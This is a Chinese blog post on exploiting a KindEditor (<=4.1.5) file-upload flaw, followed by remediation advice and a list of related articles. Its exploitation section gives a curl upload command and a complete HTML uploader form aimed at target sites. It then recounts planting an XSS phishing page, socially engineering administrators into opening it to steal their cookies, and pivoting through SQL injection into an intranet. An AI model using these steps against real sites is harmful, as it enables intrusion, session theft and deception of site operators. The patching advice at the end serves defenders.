《编辑器篇》kindeditor 文件上传漏洞利用
前言~
只要你静下心来 你能做好绝大多数事情
目录导航
- 漏洞描述
- 漏洞条件
- 实战利用
- 修补方案
一、漏洞描述
KindEditor是一套开源的HTML可视化编辑器,其采用的开发语言支持asp、aspx、php、jsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,且该编辑器支持上传功能,如果上传文件类型控制的不好,那么我们就能利用该漏洞,上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2文件,目前存在漏洞的版本是Kindeditor 4.1.5以下,漏洞发生的代码文件是在upload_json.jsp代码里,该代码并没有对用户上传的文件格式,以及大小进行安全检测,导致用户可以伪造恶意文件进行上传,尤其html文件可以直接上传到网站的目录下,直接让搜索引擎抓取并收录,利用这个漏洞,黑产等其它攻击者可以上传HTML黑页钓鱼以及嵌套xss等危害
二、漏洞条件
1.kindeditor版本<=4.1.5
2.漏洞影响文件要存在,如jsp版本:
/kindeditor/jsp/upload_json.jsp?dir=file
/kindeditor/kindeditor.js
其它脚本语言也可用:
/kindeditor/asp/upload_json.asp
/kindeditor/asp.net/upload_json.ashx
/kindeditor/jsp/upload_json.jsp
/kindeditor/php/upload_json.php
1.kindeditor/asp/upload_json.asp?dir=file
2.kindeditor/asp.net/upload_json.ashx?dir=file
3.kindeditor/jsp/upload_json.jsp?dir=file
4.kindeditor/php/upload_json.php?dir=file
如何判断网站是否使用了kindeditor呢?最好的方法就是打开位于目标站点的编辑器,然后查看URL中是否存在/kindeditor,例如下图:
也可直接使用上面的链接直接拼接域名进行访问验证,如下:
或者f12搜索关键字确认
验证完编辑器的存在性后,需验证文件 upload_json.*
的存在,验证方法如上,拼接访问即可
三、实战利用
最近在撸的一个站点搞了好久也没发现突破点,这个站点搞起来贼麻烦,各种vpn链接,还容易掉线,搞了几天都有点抓狂了;但最后还是冷静了下来,后来慢慢思考测试中遇到的各种细节,到最后还是通过观察源码中的/kindeditor,想起了这个漏洞,随后利用这个漏洞构建了个xss进到后台,最后成功突破;话不多说,详细的利用复现看下面
1.curl上传
curl -F "image=@/home/user1/Desktop/test.jpg" http://url/kindeditor/asp/upload_json.jsp?dir=file
1.html为想要上传的文件
不会curl的自行百度或者cmd输入:curl --help
2.本地构造表单上传
根据实际情况修改相关的url即可
<html><head>
<title>Uploader</title>
<script src="http://www.xxx.com/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {var uploadbutton = K.uploadbutton({button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.com/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {if (data.error === 0) {var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {uploadbutton.submit();
});
});</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
构建好代码后,浏览器打开刚刚编辑好的HTML文件,随后上传使用burp截包,接着利用repeater模块构造发包,即可获取上传后路径,如下:
随后浏览器访问链接,验证是否上传成功
同理,上传一个xss页面或者其它的某某某页面,也能造成很大危害!
验证漏洞的存在后,找到同站点的一个页面,随后Ctrl+S 保存页面,然后再用编辑器打开该HTML文件,把xss平台的链接嵌套至源码里,最后再利用该漏洞进行上传。
钓鱼页面上传完成后,接下来就是利用社工技巧诱骗站点运维人员访问该链接了,由于换了份工作后,把以前项目的客户都删除了,所以聊天记录也没了~~
拿到cookie后,进到后台探测漏洞,最后发现一枚mssql sa权限的注入,最后成功提权进内网了。
三、修复方案
该漏洞的具体解决办法如下:
1.删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json.*
和file_manager_json.*
2.修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json.*
和file_manager_json.*
3.升级kindeditor到最新版本,其它方法有增加白/黑名单控制上传文件类型,设置文件夹权限,不能执行、读取等
《编辑器篇》kindeditor 文件上传漏洞利用相关推荐
- 【《编辑器篇》kindeditor 文件上传漏洞利用】
<编辑器篇>kindeditor 文件上传漏洞利用 一.漏洞描述 KindEditor是一套开源的HTML可视化编辑器,其采用的开发语言支持asp.aspx.php ...
- 常见文件上传漏洞利用
常见文件上传漏洞利用 一.常见文件上传绕过方法 1.前端javascript校验文件名 2.MIME类型检测绕过 3.大小写绕过 4.双写.点.空格绕过 5.特殊后缀名绕过 6.文件内容检测 7.使用 ...
- KindEditor 文件上传漏洞验证
KindEditor 文件上传漏洞 漏洞描述 影响范围 漏洞验证 漏洞修复 漏洞描述 漏洞存在于KindEditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.ne ...
- 文件上传漏洞利用介绍
目录 文件上传漏洞利用介绍 1.绕过js验证 2.绕过MIME-TYPE验证 3.绕过基于黑名单验证 基于文件后缀名验证介绍 基于文件后缀名验证方式的分类 基于黑名单验证代码分析 利用apache配置 ...
- kindeditor在服务器上上传图片显示叉叉,什么原因?,kindeditor=4.1.5 文件上传漏洞利用...
kindeditor<=4.1.5 文件上传漏洞 - Kindeditor <=4.1.5 file upload vulnerability and use 漏洞存影响版本:小于等于4. ...
- [应用漏洞]KindEditor<=4.1.5 文件上传漏洞利用
一.KindEditor KindEditor 是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果 二.漏洞介绍 影响版本:KindEditor 3.5.2~4.1 简介:K ...
- KindEditor 文件上传漏洞漏洞
1 漏洞简介 1.1 漏洞描述 KindEditor是一套开源的HTML可视化编辑器,使用JavaScript编写,支持asp.aspx.php.jsp,几乎支持了所有的网站,该编辑器主要用于让用户在 ...
- (21)【后端黑白名单绕过】【WEB 漏洞利用/原理】不懂原理都是没灵魂的方法躯壳?文件上传漏洞利用过程
目录 后端黑名单绕过 特殊可解析后缀 原理:就是加上数字等,但是可以被当做原来的类型进行执行 利用过程: .htaccess解析 原理:上传.htaccess文件到指定的目录,重写当前目录下的解析规则 ...
- 上传漏洞(一句话木马、中国菜刀使用、DVWA文件上传漏洞利用)
1.常见漏洞分类 2.常见验证手段 可抓包后修改扩展名为图片格式,再上传可绕过验证.如: 可以修改php文件后缀为其他,再上传.如test.php.xxx 可对图片文件添加一句话木马,再修改为.ph ...
最新文章
- 中学生可以这样学python.pdf_中学生可以这样学Python
- python与mysql数据库_python与MySQL数据库
- 《阿里巴巴JAVA开发手册》发布详尽版,新增16条设计规约
- IIS6部署web service完整过程
- 安恒杯月赛 babypass getshell不用英文字母和数字
- 游戏开发引擎 Cryengine 在 GitHub 上公开全部源代码
- 家用车多少马力才够用?
- asp.net处理机制管道事件
- 怎样才算优秀的xyz员
- 使用原生javaScript创建ul和li对象以及操作
- 模板解压下来是php文件,smarty模板解压完将libs目录放到哪?
- 21天通关python 磁力_Python 实现 BT 种子转化为磁力链接 [实战]
- 专家视点:杜绝木马的干扰-防范后门的技巧(转)
- wps android 特色功能,WPS Office手机版
- 【Oracle】执行计划详解
- Android studio中assets文件更换之后不生效
- 士不可以不弘毅,任重而道远!
- GTA4 EFLC cheat code
- CSS 伪类 after 右侧线
- 无法访问gcr.io的解决办法